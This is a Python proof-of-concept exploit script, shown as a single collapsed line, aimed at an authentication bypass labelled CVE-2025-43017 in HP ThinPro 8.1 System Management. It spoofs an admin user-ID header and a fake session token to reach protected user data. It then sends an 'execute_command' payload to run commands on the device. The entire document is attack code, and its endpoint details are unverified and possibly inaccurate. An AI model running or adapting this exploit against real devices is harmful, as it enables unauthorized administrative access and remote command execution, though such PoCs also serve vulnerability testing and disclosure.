CVE-2025-43017

# CVE-2025-43017 PoC - HP ThinPro 8.1 Authentication Bypass # This PoC demonstrates the authentication bypass in HP ThinPro 8.1 System Management import requests import sys TARGET_HOST = "http://target-hp-thinpro-device" VULN_ENDPOINT = "/api/system/management" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-43017""" print(f"[*] Testing target: {target}") # Step 1: Attempt to access protected endpoint without authentication headers = { "User-Agent": "HP-ThinPro-Security-Scanner/1.0", "X-User-Id": "admin", # Manipulated user identifier "X-Session-Token": "fake_session_token", # Fake session "Content-Type": "application/json" } try: # Attempt to access admin functionality response = requests.get(f"{target}{VULN_ENDPOINT}/users", headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200 and "user" in response.text.lower(): print("[!] VULNERABLE: Authentication bypass successful!") print(f"[!] Response preview: {response.text[:200]}...") return True else: print("[*] Target may not be vulnerable or endpoint not found") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def exploit_admin_access(target): """Attempt to exploit admin access after bypass""" print("\n[*] Attempting to exploit admin access...") # Try to execute system commands via management API exploit_payload = { "action": "execute_command", "command": "whoami", "user_id": "admin" } headers = { "X-User-Id": "admin", "Content-Type": "application/json" } try: response = requests.post(f"{target}{VULN_ENDPOINT}/execute", json=exploit_payload, headers=headers, timeout=10) if response.status_code == 200: print("[!] Command execution successful!") print(f"[!] Output: {response.text}") except Exception as e: print(f"[*] Exploitation attempt failed: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST vulnerable = check_vulnerability(target) if vulnerable: exploit_admin_access(target)

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